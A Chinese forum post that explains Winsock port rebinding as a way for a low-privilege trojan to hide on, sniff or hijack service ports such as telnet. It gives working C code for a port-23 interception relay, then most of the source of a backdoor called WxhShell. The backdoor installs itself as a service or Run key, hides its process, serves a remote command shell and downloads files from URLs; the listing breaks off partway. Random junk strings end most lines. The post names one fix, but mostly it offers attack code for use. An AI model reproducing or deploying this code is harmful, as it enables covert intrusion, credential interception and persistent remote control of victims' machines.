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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [RF]lM]w  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )TEm1\  
/::Y &&$f  
  saddr.sin_family = AF_INET; 4U16'd  
 fZ&' _  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &8Z .m,s]  
E *IP#:R  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5^R?+<rd  
X7[gfKGL)N  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $$uMu{?0i  
M%Ksyr9  
  这意味着什么?意味着可以进行如下的攻击: t-5 Y,}j  
k]^ya?O]p  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 oh@Ha?  
0m=57c$O  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 'kco. 1{  
"$aoIXv  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 X# /c7w-  
rLE+t(x(0  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ##} 7cFX  
7xQ:[P!G+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hu1ZckIw?  
rL&Mq}7QK  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1/~=61msc  
L`e19I$  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^ g|VZN  
~@)s)K  
  #include !A1~{G2VL_  
  #include ? |#dGk g  
  #include $PI9vyS  
  #include    YRCs&tgs  
  DWORD WINAPI ClientThread(LPVOID lpParam);   + ~5P7dh6  
  int main() n I&p.i6  
  { OScqf]H  
  WORD wVersionRequested; s2GF*{  
  DWORD ret; x$bUd 9  
  WSADATA wsaData; aL`wz !  
  BOOL val; "<{|ni}  
  SOCKADDR_IN saddr; VX82n,'=t  
  SOCKADDR_IN scaddr; TVx `&C+  
  int err; "wuO[c&%/  
  SOCKET s; K[ [6A:  
  SOCKET sc; %q~q,=H$]  
  int caddsize; fm`V2'Rm  
  HANDLE mt; +iFt)  
  DWORD tid;   | oK9o6m4  
  wVersionRequested = MAKEWORD( 2, 2 ); ~;a \S3  
  err = WSAStartup( wVersionRequested, &wsaData ); HsUh5;  
  if ( err != 0 ) { @K+gh#  
  printf("error!WSAStartup failed!\n"); .)_2AoT7[  
  return -1; ~#jiX6<I  
  } H17I" 5N  
  saddr.sin_family = AF_INET; xb<|m2<)H  
   1DhC,)+D}q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2%L`b"9}V  
beC%Tnb7  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )XGz#C_P  
  saddr.sin_port = htons(23); zTj ie  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q\x.e.@  
  {  oC*a;o  
  printf("error!socket failed!\n"); #{{p4/:  
  return -1; u '/)l}  
  } O,|NOz  
  val = TRUE; 6_])(F3+w.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 y(MB _B7j  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) o5 fV,BJZO  
  { [U8/nT  
  printf("error!setsockopt failed!\n"); -egnMc67  
  return -1; V-@4s}zX  
  } e,VF;Br  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; U1X"UN)  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 86N,04  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -{k8^o7$  
83SK<V6  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) IQ~qiFCf  
  { }8#Ed;%K  
  ret=GetLastError(); bT&{8a  
  printf("error!bind failed!\n"); u~j H  
  return -1; R:YVmqd  
  } %),u0:go  
  listen(s,2); !C05;x8{  
  while(1) 5cinI^x)f  
  { M TZCI}  
  caddsize = sizeof(scaddr); }O>1tauI  
  //接受连接请求 `G/g/>y  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }`Ya;  
  if(sc!=INVALID_SOCKET) rU&Y/  
  { P1T {5u!T  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); p\&/m  
  if(mt==NULL) #` gu<xlW  
  { =>`z k^  
  printf("Thread Creat Failed!\n"); 'JJKnE zQ  
  break; NRJp8G Z%U  
  } DE?k|Get2  
  } RuIBOo\XL7  
  CloseHandle(mt); 1' U  
  } *2->>"kh  
  closesocket(s); * 7Ov.v%  
  WSACleanup(); 1xd6p  
  return 0; 6bhb_U'f  
  }   < $e#o H  
  DWORD WINAPI ClientThread(LPVOID lpParam) 69)"T{7  
  { xZ P SUEG  
  SOCKET ss = (SOCKET)lpParam; qb=2J5su  
  SOCKET sc; &BrFcXF  
  unsigned char buf[4096]; ; Z7!BU  
  SOCKADDR_IN saddr; h7q{i|5  
  long num; !zF0 7.(E  
  DWORD val; 5l1R")0`t_  
  DWORD ret; X"+p=PGZK  
  //如果是隐藏端口应用的话,可以在此处加一些判断 K+!e1 '  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   bUm%#a  
  saddr.sin_family = AF_INET; jaodcT0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _Ffg"xoC  
  saddr.sin_port = htons(23); " WQ6[;&V  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [B;okW  
  { t-KicLr  
  printf("error!socket failed!\n"); _$c o Y  
  return -1; r^}0 qO,XM  
  } 3kC|y[.&  
  val = 100; .Iqqjk  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xm1di@  
  { pXO09L/nv  
  ret = GetLastError(); ah,f~.X_|  
  return -1; $M,<=.oT  
  } d=qVIpZ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PHqg~q;*  
  { J.R\h!  
  ret = GetLastError(); m\XsU?SuX  
  return -1; ygIn6.p  
  } %K|f,w=m  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) M' z.d  
  { L<@*6QH  
  printf("error!socket connect failed!\n");  5)'Y\~2  
  closesocket(sc); bKM*4M=k  
  closesocket(ss); C0N}B1-MU  
  return -1; iSezrN  
  } d; YKw1  
  while(1) zhs @ YMY  
  { 5H XF3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 vRC >=y*=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &lSNI5l  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5uQ+'*xN%  
  num = recv(ss,buf,4096,0); c.Hw K\IU  
  if(num>0) D1ZyJs#  
  send(sc,buf,num,0); }i"[5:  
  else if(num==0) g]: [^p  
  break; hQ<7k'V  
  num = recv(sc,buf,4096,0); cWx`y><  
  if(num>0) y*+8Z&i.:  
  send(ss,buf,num,0); VqW5VL a  
  else if(num==0) ">. k 6Q  
  break; j [lS.Lb  
  } 06^/zr  
  closesocket(ss); z6@8IszU  
  closesocket(sc); A1+:y,wXs  
  return 0 ; A(E}2iP9=  
  } G)I` M4}*n  
}6-olVg  
m8{8r>6*  
========================================================== C}mhnU@  
,H+Y1N4W(  
下边附上一个代码,,WXhSHELL :FI D ,  
F ><_gIT  
========================================================== mN]WjfII  
]#f%Dku.m  
#include "stdafx.h" ljZRz$y  
4E5;wH  
#include <stdio.h> M{G}-QK_.  
#include <string.h> NJsaTBT  
#include <windows.h> U&BCd$  
#include <winsock2.h> _xCYh|DlQ|  
#include <winsvc.h> aq_K,li #w  
#include <urlmon.h> (@XQ]S}L  
Tph^o^  
#pragma comment (lib, "Ws2_32.lib") fub04x)  
#pragma comment (lib, "urlmon.lib") V 9$T=[  
|;~=^a3?q  
#define MAX_USER   100 // 最大客户端连接数 7ihcjyXB  
#define BUF_SOCK   200 // sock buffer 3#t#NW*e  
#define KEY_BUFF   255 // 输入 buffer f EL 9J{  
d%0Gsga}  
#define REBOOT     0   // 重启 q`r| DcN~  
#define SHUTDOWN   1   // 关机 4Z%1eOR9V  
/A,w{09G  
#define DEF_PORT   5000 // 监听端口 . KLEx]f.  
PF/K&&9}  
#define REG_LEN     16   // 注册表键长度 #)~u YQ  
#define SVC_LEN     80   // NT服务名长度 D(']k?  
bKsjbYuo  
// 从dll定义API a`xAk ^w+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8]`#ax 5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .c}+kHv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hJ`Gu7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); */IiL%g4u  
/_m )D;!y  
// wxhshell配置信息 &^#iS<s1  
struct WSCFG { Fdhgm{Y2s  
  int ws_port;         // 监听端口 S=) c7t?a  
  char ws_passstr[REG_LEN]; // 口令  *1["x;A  
  int ws_autoins;       // 安装标记, 1=yes 0=no kVWcf-f  
  char ws_regname[REG_LEN]; // 注册表键名 gyAJ#N|  
  char ws_svcname[REG_LEN]; // 服务名 [G$#jUt/O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5xdeuBEY8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  4t(/F`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;&CLb`<y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g?"QahH G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7!cLTq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H; \C7w|  
q,)V0Ffe[|  
}; K\9CW%W  
E} XmZxHV  
// default Wxhshell configuration 0ex.~S_Oj4  
struct WSCFG wscfg={DEF_PORT, \7b, Mz!  
    "xuhuanlingzhe", [k%hl`}  
    1, 3E;@.jD  
    "Wxhshell", KHZ[drb6$  
    "Wxhshell", .kU^)H" l  
            "WxhShell Service", $|g1 _;(G  
    "Wrsky Windows CmdShell Service", (CIcM3|9C  
    "Please Input Your Password: ", Wrb[\ ?-  
  1, K0( S%v|,}  
  "http://www.wrsky.com/wxhshell.exe", _-({MX[3k<  
  "Wxhshell.exe" n?cC]k;P~  
    }; CBf[$[e  
*KDTBd  
// 消息定义模块 LXX('d  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Hj r'C?[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =QVkY7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6:|;O  
char *msg_ws_ext="\n\rExit."; 'k\j[fk/K  
char *msg_ws_end="\n\rQuit."; ?&wrz  
char *msg_ws_boot="\n\rReboot..."; R&(OWF;~,  
char *msg_ws_poff="\n\rShutdown..."; WcqR; Nm  
char *msg_ws_down="\n\rSave to "; EQlb:;j  
\54B  
char *msg_ws_err="\n\rErr!"; %dPk,Ylz  
char *msg_ws_ok="\n\rOK!"; &J2 UAmB  
/gF)msUF  
char ExeFile[MAX_PATH]; ^OQP;5 #K  
int nUser = 0; (K=0c 6M3=  
HANDLE handles[MAX_USER]; %]I#]jR  
int OsIsNt; aXj UDu7  
fB9,# F  
SERVICE_STATUS       serviceStatus; GalSqtbmDt  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; QGfwvFm  
Z(|$[GZP[  
// 函数声明 1+$F= M~  
int Install(void); k"cMAu.  
int Uninstall(void); bgBvzV&'8  
int DownloadFile(char *sURL, SOCKET wsh); QD!NV*  
int Boot(int flag); 5@>hjXi"Y  
void HideProc(void); ?[ )}N _o#  
int GetOsVer(void); r]cq|Nv8:  
int Wxhshell(SOCKET wsl); hOk9y=  
void TalkWithClient(void *cs);  Rw0|q  
int CmdShell(SOCKET sock); <J+Oh\8tad  
int StartFromService(void); lgiKNZgB?  
int StartWxhshell(LPSTR lpCmdLine);  CA igV$  
|x1OWm1:<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t'eu>a1D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *O'|NQhNx>  
K_L7a>Fr  
// 数据结构和表定义 $7AsMlq[(  
SERVICE_TABLE_ENTRY DispatchTable[] = I1>f2/$z*  
{ Cydo~/  
{wscfg.ws_svcname, NTServiceMain}, :Y/aT[  
{NULL, NULL} .TA)|df ^  
}; M5:.\0_  
c\o_U9=n  
// 自我安装 w~Q\:<x&~Z  
int Install(void) Sc{&h8KMTb  
{ DDkN3\w  
  char svExeFile[MAX_PATH]; h?dSn:Y\?  
  HKEY key; heIys.p  
  strcpy(svExeFile,ExeFile); Uzvd*>mv  
YQ:$m5ai  
// 如果是win9x系统,修改注册表设为自启动 cwvJH&%0  
if(!OsIsNt) { xSN;vrLHR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bgE]Wk0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0o$RvxJ  
  RegCloseKey(key); 0(+<uo~6p1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ktqFgU#rT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Jm CHwyUK?  
  RegCloseKey(key); ? 0X$ox  
  return 0; d>F7i~W  
    } ;/+<N  
  } [/hoNCH!  
} zu?112-v2  
else { Ld_uMe?Z  
LI}e_= E  
// 如果是NT以上系统,安装为系统服务 19GF%+L ,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <$?#P#A  
if (schSCManager!=0) sT1OAK\^  
{ 83vZRQw  
  SC_HANDLE schService = CreateService .CEC g*f  
  ( I_f%%N%  
  schSCManager, Zex~ $r  
  wscfg.ws_svcname, g0biw?  
  wscfg.ws_svcdisp, fsOlg9  
  SERVICE_ALL_ACCESS, PtuRXx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 31^/9lb  
  SERVICE_AUTO_START, 90+Vw`Gz=  
  SERVICE_ERROR_NORMAL, /'{vDxZf R  
  svExeFile,  j7_,V?5z  
  NULL, r+%3Y:dZE  
  NULL,  =AaF$R  
  NULL, 66>X$nx(z  
  NULL, Nt\07*`qCr  
  NULL KF *F  
  ); m $[:J  
  if (schService!=0) _`=qc/-0  
  { V#,|#2otZ  
  CloseServiceHandle(schService); ,Zie2I?q  
  CloseServiceHandle(schSCManager); FDuA5At  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gLt6u|0q  
  strcat(svExeFile,wscfg.ws_svcname); {nSgiqd"28  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  Yf[Cmn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %6lGRq{/?  
  RegCloseKey(key); uHquJQ4  
  return 0; YYI0iM>  
    } -T+YMAFU_  
  } uu]C;wl  
  CloseServiceHandle(schSCManager); :I?lT2+ea  
} *j(fk[,i  
} 4S>#>(n7=  
Q3+%8zZI  
return 1; ? XVE {N  
} bh8GP]*E|  
a++gwl  
// 自我卸载 @)Vb?|3  
int Uninstall(void) .&]3wB~  
{ 2va[= >_  
  HKEY key; p?Ux1S  
qYe`</  
if(!OsIsNt) { .DwiIr'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j# c@dze  
  RegDeleteValue(key,wscfg.ws_regname); H{E(=S  
  RegCloseKey(key); tAjT-CXg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ![{/V,V]~  
  RegDeleteValue(key,wscfg.ws_regname); "(H%m9K  
  RegCloseKey(key); Fi+ DG?zu  
  return 0; c9H6\&  
  } 7C2Xy>d~  
} dh{py  
} Da! fwth  
else { !|VtI$I>x  
~^Al#@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (@T{ [\  
if (schSCManager!=0) 5R.jhYAj  
{ #bGYHN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g;R  
  if (schService!=0) !2B~.!&   
  { K ..Pn 17t  
  if(DeleteService(schService)!=0) { l8M}82_  
  CloseServiceHandle(schService); dc emF  
  CloseServiceHandle(schSCManager); DfkGNBY  
  return 0; @CR<&^s5V  
  } #l) o<Z  
  CloseServiceHandle(schService); wk'(g_DP  
  } 3:sc%IDP  
  CloseServiceHandle(schSCManager); 1A;,"8kBd  
} XH0Vs.w  
} c;29GHs2  
HIj:?y  
return 1; o|84yT!~  
} A0.xPru1p  
={h^X0<s9  
// 从指定url下载文件 CO ZfR~}  
int DownloadFile(char *sURL, SOCKET wsh) JeVbFZ8  
{ Wvd-be  
  HRESULT hr; 'q/C: Yo  
char seps[]= "/"; w5-^Py  
char *token; ~ c~j  
char *file; P-^-~/>n  
char myURL[MAX_PATH]; Lo[;{A$u  
char myFILE[MAX_PATH]; ='Oxy  
(Ww SisC~  
strcpy(myURL,sURL); 4,)QV_?  
  token=strtok(myURL,seps); # NK{]H$fd  
  while(token!=NULL) #"C* dNAB  
  { ze+S_{  
    file=token; #\="^z6  
  token=strtok(NULL,seps); lzFg(Ds!f  
  } }]=A:*jD  
V~.SgbLc  
GetCurrentDirectory(MAX_PATH,myFILE); \Ym$to  
strcat(myFILE, "\\"); 0^2e^qf  
strcat(myFILE, file); X2~KNw  
  send(wsh,myFILE,strlen(myFILE),0); Iw$T'I+4W  
send(wsh,"...",3,0); w3fD6$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JqN$B\J,  
  if(hr==S_OK) NXOvC!<  
return 0; e \kR/<L  
else 2gvS`+<TP  
return 1; Mns=X)/hc  
E[CvxVCx  
} Vhm^<I-d  
sdewz(xskj  
// 系统电源模块 v<0S@9~  
int Boot(int flag) +tlbO?  
{ u0uz~ s  
  HANDLE hToken; 3WfZzb+  
  TOKEN_PRIVILEGES tkp; Y8mv[+Z  
 >qI:  
  if(OsIsNt) { ZkMHy1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (Zy=e?E,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hL;??h,!_  
    tkp.PrivilegeCount = 1; 1mEW]z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HqOnZ>D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Gv(n2r  
if(flag==REBOOT) { <(qdxdUp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #TP Y%  
  return 0; G0r(xP?  
} ,5sv;  
else { {5fq4A A6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) noT}NX%  
  return 0; zzKU s"u  
} 127@ TN"  
  } +@rc(eOwvN  
  else { V/"41  
if(flag==REBOOT) { >\5ZgC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uMC0XE|S  
  return 0; z8};(I>)  
} i)ibDrX!I  
else { J2`OJsMwWe  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O_SM!!,  
  return 0; SYOU &*  
} 8wS9%+  
} f K4M:_u  
WN#dR~>  
return 1; Hp fTuydU  
} =0U"07%}  
j!"NEh78H  
// win9x进程隐藏模块 5_L43-  
void HideProc(void) o{ | |Ig  
{ MD+ eLA7  
PzLV}   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -1!s8G  
  if ( hKernel != NULL ) 'Cywn^Ym#  
  { %__.-;)o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); abV,]x&.0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7aN oqS+  
    FreeLibrary(hKernel); {O[ !*+O  
  } 1`n ZK$  
VqB9^qJ]!  
return; &cx]7:;  
} w?c~be$  
4_Rv}Y d  
// 获取操作系统版本 N<lf,zGw  
int GetOsVer(void) "\1V^2kMr  
{ yj`xOncE}  
  OSVERSIONINFO winfo; C_hIPMU=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3j$,x(ua9  
  GetVersionEx(&winfo); VzFzVeJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dU"C=c(w\  
  return 1; _k W:FB  
  else xJ|Z]m=d   
  return 0; O$peCv   
} S>?B)  
*WXqN!:  
// 客户端句柄模块 %u$dN9cw  
int Wxhshell(SOCKET wsl) nHF  
{ Jc9^Hyqu&  
  SOCKET wsh; $2*&\/;-E!  
  struct sockaddr_in client; SB!m&;Tb  
  DWORD myID; [k6,!e[/uG  
x6*.zo5e  
  while(nUser<MAX_USER) 9\NP)Vm$^  
{ SVyJUd_  
  int nSize=sizeof(client); =}4lx^`oeT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l' Z `%}R  
  if(wsh==INVALID_SOCKET) return 1; y/A<eHLy  
@Cd}1OT)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kC6s_k  
if(handles[nUser]==0) qfEB VS(  
  closesocket(wsh); N6-bUM6%I  
else L`Q9-#Y  
  nUser++; `r8bBzr@%  
  } 8 K>Ejr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,}42]%$ G  
9]/j u  
  return 0; W.U|mNJ$  
} \~q cYp  
o!t1EPJE*  
// 关闭 socket -wV0Nv(V8  
void CloseIt(SOCKET wsh) 38q0iAH  
{ 'r?OzFtxh  
closesocket(wsh); g7W\  &  
nUser--; I*)eP||  
ExitThread(0); ma4r/8Q  
} gbRdng7(}  
[Z?vC  
// 客户端请求句柄 ./;*L D  
void TalkWithClient(void *cs) -Qco4>Z8  
{ |k9A*7I  
s97L/iH  
  SOCKET wsh=(SOCKET)cs; _`Sz}Yk  
  char pwd[SVC_LEN]; #3u471bp  
  char cmd[KEY_BUFF]; -x1O|q69  
char chr[1]; C!" .[3  
int i,j; 6ypqnOTr  
[?`c>  
  while (nUser < MAX_USER) { '}wYSG-  
?`O Dt]s  
if(wscfg.ws_passstr) { YPq`su7m9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zuZlP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &gR)bNIC_=  
  //ZeroMemory(pwd,KEY_BUFF); H}c, P('  
      i=0; }"?K Hy  
  while(i<SVC_LEN) { %z0@4G q  
:O}<Q  
  // 设置超时 XUT\nN-N  
  fd_set FdRead; &hYjQ&n  
  struct timeval TimeOut; )Z 3fytY  
  FD_ZERO(&FdRead); Qmh*Gh? v  
  FD_SET(wsh,&FdRead); wbId}!  
  TimeOut.tv_sec=8; WH$ Ls('  
  TimeOut.tv_usec=0; oYN# T=Xi  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 62LQUl]<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xX.Ox  
Mhw\i&*U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8Lpy`He  
  pwd=chr[0]; Zb#  
  if(chr[0]==0xd || chr[0]==0xa) { \:?H_^^ d  
  pwd=0; G1'w50Yu  
  break; ARu^hz=  
  } 5+O#5" v_  
  i++; wB( igPi  
    } u$[T8UqF  
~1h-LbFI2  
  // 如果是非法用户,关闭 socket =kLg)a |  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Swua dN  
} ;"nEEe]?  
HnqZ7%jeN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U-s6h;^ O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3^us;aOr  
qO9_ e  
while(1) { <`9:hPp0  
)V}u1C-N  
  ZeroMemory(cmd,KEY_BUFF); #UJ@P Dwil  
Ve8`5  
      // 自动支持客户端 telnet标准   [P{Xg:0  
  j=0; 4"j5@bppJ  
  while(j<KEY_BUFF) { 8`qw1dF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %GS)9{T&  
  cmd[j]=chr[0]; Urx gKTry  
  if(chr[0]==0xa || chr[0]==0xd) { &/, BFx"  
  cmd[j]=0; 3)g1e=\i$  
  break; s}9aZ  
  } Aq|LeH  
  j++; <STjB,_s  
    } {+t'XkA  
 m|"MJP  
  // 下载文件 *qBMt[a  
  if(strstr(cmd,"http://")) { Qzh:*O  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R/O_*XY  
  if(DownloadFile(cmd,wsh)) 1ck2Gxn  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); W^+b gg<.  
  else "5jZS6A]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); si nG $=  
  } nhCB ])u8l  
  else { }u+R,@l/  
e:V,>RbC0s  
    switch(cmd[0]) { ]@?3,N  
  y_QxJ~6t  
  // 帮助 1=(i{D~  
  case '?': { |$b4 {  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I( y Wct  
    break; l1wxs@](  
  } Il;'s  
  // 安装 Z gU;=.  
  case 'i': { s/To|9D  
    if(Install()) up2%QbN(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^LC5orO  
    else .(1$Q6yG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !Xj m h$F  
    break; rjR  
    } {Ue6DK %  
  // 卸载 esu6iU@  
  case 'r': { kb7\qH!n  
    if(Uninstall()) 7\/O"Ot  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *,- YWx4  
    else P7y[9|^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %""CacX  
    break; _1R`xbV  
    } Z*ZG5e  
  // 显示 wxhshell 所在路径 n`:l`n>N$  
  case 'p': { \AK|~:\]  
    char svExeFile[MAX_PATH]; "?9fL#8f*!  
    strcpy(svExeFile,"\n\r"); $qrr]U  
      strcat(svExeFile,ExeFile); sy@k3wQ  
        send(wsh,svExeFile,strlen(svExeFile),0); #uXOyiE  
    break; X7 Za Q .  
    } _RmE+Xg2  
  // 重启 [X~X?By>  
  case 'b': { 7e=a D~f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \qTn"1b Q  
    if(Boot(REBOOT)) YHRI UY d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &'](T9kg=  
    else { Nm081ic2<  
    closesocket(wsh); gaCGU<L  
    ExitThread(0); p$%h!.~99T  
    } }.gg!V'9w  
    break; ytC{E_  
    } pM7BdMp   
  // 关机 PvB?57wkF  
  case 'd': { fVN}7PH7+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $cy:G  
    if(Boot(SHUTDOWN)) /pge7P  
